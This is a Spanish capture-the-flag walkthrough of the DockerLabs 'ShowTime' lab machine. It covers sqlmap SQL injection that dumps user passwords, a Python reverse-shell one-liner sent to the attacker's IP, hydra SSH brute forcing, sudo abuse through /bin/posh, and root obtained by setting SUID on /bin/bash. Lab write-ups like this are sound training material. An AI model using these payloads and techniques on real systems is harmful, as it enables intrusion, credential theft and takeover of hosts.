DockerLabs - ShowTime
nmap
1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs]
└─$ nmap -p- -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1
2
3
4
5
6
7
8
9
10
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs]
└─$ nmap -sCV -p22,80 172.17.0.2
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e1:9a:9f:b3:17:be:3d:2e:12:05:0f:a4:61:c3:b3:76 (ECDSA)
|_ 256 69:8f:5c:4f:14:b0:4d:b6:b7:59:34:4d:b9:03:40:75 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: cs
|_http-server-header: Apache/2.4.58 (Ubuntu)
análisis
Comenzamos revisando la página principal del servidor web del laboratorio, donde nos encontramos lo que parece ser una página de apuestas:
Vemos que en la esquina derecha arriba hay un botón que nos redirige a un panel de autenticación:
Haciendo algunas pruebas, nos damos cuenta de que es vulnerable a una inyección SQL:
explotación SQLi
Debido a esto, podemos extraer información de la base de datos empleando sqlmap, y una petición que hayamos interceptado con Burp Suite y la hayamos guardado en un fichero .txt:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/ShowTime]
└─$ sqlmap -r request.txt --dbs --batch
___
__H__
___ ___[']_____ ___ ___ {1.9.9#stable}
|_ -| . [,] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[12:52:04] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.6
[12:52:04] [INFO] fetching database names
[12:52:04] [INFO] retrieved: 'mysql'
[12:52:04] [INFO] retrieved: 'information_schema'
[12:52:04] [INFO] retrieved: 'performance_schema'
[12:52:04] [INFO] retrieved: 'sys'
[12:52:04] [INFO] retrieved: 'users'
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] users
Una vez obtenidas las bases de datos existentes, procedemos a obtener las tablas de la base de datos users, la cual parece ser la que va a contener información interesante:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/ShowTime]
└─$ sqlmap -r request.txt -D users --tables --batch
___
__H__
___ ___[']_____ ___ ___ {1.9.9#stable}
|_ -| . [)] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[12:52:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.6
[12:52:58] [INFO] fetching tables for database: 'users'
[12:52:58] [INFO] retrieved: 'usuarios'
Database: users
[1 table]
+----------+
| usuarios |
+----------+
Sabemos que la base de datos es users, y la única tabla existente es usuarios, pero nos faltan las columnas de dicha tabla:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/ShowTime]
└─$ sqlmap -r request.txt -D users -T usuarios --columns --batch
___
__H__
___ ___[)]_____ ___ ___ {1.9.9#stable}
|_ -| . ['] | .'| . |
|___|_ [`]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[12:53:39] [INFO] fetching columns for table 'usuarios' in database 'users'
[12:53:39] [INFO] retrieved: 'id'
[12:53:39] [INFO] retrieved: 'int unsigned'
[12:53:39] [INFO] retrieved: 'password'
[12:53:39] [INFO] retrieved: 'varchar(50)'
[12:53:39] [INFO] retrieved: 'username'
[12:53:39] [INFO] retrieved: 'varchar(50)'
Database: users
Table: usuarios
[3 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int unsigned |
| password | varchar(50) |
| username | varchar(50) |
+----------+--------------+
Una vez tenemos toda esta información, podemos extraer los datos que nos interesa, que en este caso son los usuarios y la contraseñas, las cuales podríamos llegar a reutilizar en otros servicios:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/ShowTime]
└─$ sqlmap -r request.txt -D users -T usuarios -C username,password --dump --batch
___
__H__
___ ___["]_____ ___ ___ {1.9.9#stable}
|_ -| . ["] | .`| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[12:54:29] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.6
[12:54:29] [INFO] fetching entries of column(s) 'password,username' for table 'usuarios' in database 'users'
[12:54:29] [INFO] retrieved: '123321123321'
[12:54:29] [INFO] retrieved: 'lucas'
[12:54:29] [INFO] retrieved: '123456123456'
[12:54:29] [INFO] retrieved: 'santiago'
[12:54:29] [INFO] retrieved: 'MiClaveEsInhackeable'
[12:54:29] [INFO] retrieved: 'joe'
Database: users
Table: usuarios
[3 entries]
+----------+----------------------+
| username | password |
+----------+----------------------+
| lucas | 123321123321 |
| santiago | 123456123456 |
| joe | MiClaveEsInhackeable |
+----------+----------------------+
acceso inicial (www-data)
Revisando las credenciales que hemos encontrado, vemos que al loguearnos como joe en el panel de autenticación de la página, nos encontramos con una funcionalidad que permite ejecutar comandos en Python:
Si no existen filtros aplicados a esta ejecución, nos podemos entablar una conexión reversa para obtener una consola remota empleando el siguiente comando (sin olvidarnos primero de ponernos en escucha, por ejemplo, con nc por el puerto 4444):
1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<nuestra IP>",<nuestro puerto>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")
Una vez ejecutado el comando, veremos que habremos obtenido una conexión en la máquina:
1
2
3
4
5
6
7
8
9
10
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/ShowTime]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 38440
www-data@51b14e55adbd:/var/www/html/login_page$ whoami
whoami
www-data
www-data@51b14e55adbd:/var/www/html/login_page$ hostname -I
hostname -I
172.17.0.2
Tratamos la TTY para poder operar con mayor facilidad:
1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@51b14e55adbd:/var/www/html/login_page$ script -c bash /dev/null
script -c bash /dev/null
Script started, output log file is '/dev/null'.
www-data@51b14e55adbd:/var/www/html/login_page$ ^Z
zsh: suspended nc -nlvp 4444
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/ShowTime]
└─$ stty raw -echo;fg
[1] + continued nc -nlvp 4444
reset xterm
www-data@51b14e55adbd:/var/www/html/login_page$ export TERM=xterm
www-data@51b14e55adbd:/var/www/html/login_page$ export SHELL=bash
www-data@51b14e55adbd:/var/www/html/login_page$ stty rows 48 columns 210
movimiento lateral (joe)
Revisamos los usuarios los cuales debemos tener en cuenta a la hora de tratar de movernos tanto lateralmente como para escalar privilegios:
1
2
3
4
5
www-data@51b14e55adbd:/home$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
joe:x:1001:1001:joe,,,:/home/joe:/bin/bash
luciano:x:1002:1002:luciano,,,:/home/luciano:/bin/bash
En la carpeta /tmp encontramos un fichero oculto llamado .hidden_text.txt:
1
2
3
4
5
6
7
www-data@51b14e55adbd:/tmp$ ls -la
total 20
drwxrwxrwt 1 root root 4096 Nov 9 10:00 .
drwxr-xr-x 1 root root 4096 Nov 9 09:40 ..
-rw-r--r-- 1 root root 894 Jul 22 2024 .hidden_text.txt
-rw-r--r-- 1 www-data www-data 206 Nov 9 10:00 temp_script.py
drwx------ 2 mysql mysql 4096 Jul 22 2024 tmp.w3E3JvWoeD
El contenido de dicho fichero es un mensaje a otro usuario con códigos de GTA San Andreas:
1
2
3
4
5
6
7
8
9
10
11
12
www-data@51b14e55adbd:/tmp$ cat .hidden_text.txt
Martin, esta es mi lista de mis trucos favoritos de gta sa:
HESOYAM
UZUMYMW
JUMPJET
LXGIWYL
KJKSZPJ
YECGAA
SZCMAWO
...
Tratamos de ver si alguno de estos códigos es la contraseña del usuario joe o luciano, pero no es el caso.
Por ello, probamos a convertir todos los códigos a minúsculas, y volvemos a probar:
1
2
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/ShowTime]
└─$ cat passwords.txt | tr '[:upper:]' '[:lower:]' > lower_passwords.txt
Esta vez, encontramos que uno de los códigos es en efecto la contraseña del usuario joe:
1
2
3
4
5
6
7
8
9
10
11
12
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/ShowTime]
└─$ hydra -L users.txt -P lower_passwords.txt ssh://172.17.0.2 -I -t 64
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-09 13:16:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 156 login tries (l:2/p:78), ~3 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: joe password: c*******************
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-09 13:17:05
Nos conectamos como joe:
1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/ShowTime]
└─$ ssh joe@172.17.0.2
joe@172.17.0.2`s password:
joe@51b14e55adbd:~$ whoami
joe
movimiento lateral (luciano)
Revisamos los permisos SUDO del usuario joe, y vemos que podemos ejecutar el binario /bin/posh (motor de customización del texto de la terminal) como el usuario luciano:
1
2
3
4
5
6
joe@51b14e55adbd:~$ sudo -l
Matching Defaults entries for joe on 51b14e55adbd:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User joe may run the following commands on 51b14e55adbd:
(luciano) NOPASSWD: /bin/posh
Encontramos en GTFOBins que podemos invocar una consola como otro usuario empleando el siguiente comando:
Ejecutamos el comando, y nos convertimos en el usuario luciano:
1
2
3
joe@51b14e55adbd:~$ sudo -u luciano posh
$ whoami
luciano
escalada de privilegios (root)
Comprobamos también los permisos SUDO del usuario luciano, el cual puede ejecutar un cierto script en Bash:
1
2
3
4
5
6
luciano@51b14e55adbd:/home$ sudo -l
Matching Defaults entries for luciano on 51b14e55adbd:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User luciano may run the following commands on 51b14e55adbd:
(root) NOPASSWD: /bin/bash /home/luciano/script.sh
Al ir a comprobar los permisos que tiene dicho script, nos damos cuenta de que podemos editarlo, ya que el usuario luciano es el propietario de este script:
1
2
ciano@51b14e55adbd:/home$ ls -la /home/luciano/script.sh
-rw-rw-r-- 1 luciano luciano 112 Jul 23 2024 /home/luciano/script.sh
Revisamos los permisos que tiene la /bin/bash antes de ejecutar el comando:
1
2
luciano@51b14e55adbd:/home$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
Procedemos a editarlo de la siguiente manera, ya que el laboratorio no cuenta ni con nano ni con vim:
1
luciano@51b14e55adbd:/home$ echo 'chmod u+s /bin/bash' > /home/luciano/script.sh
Lo ejecutamos, y vemos que los permisos del binario /bin/bash han cambiado, y ahora tiene permisos SUID:
1
2
luciano@51b14e55adbd:/home$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
Una vez que tiene estos permisos, podemos invocar una consola como el usuario root:
1
2
3
luciano@51b14e55adbd:/home$ bash -p
bash-5.2# whoami
root
De esta manera, habremos completado la máquina ShowTime!





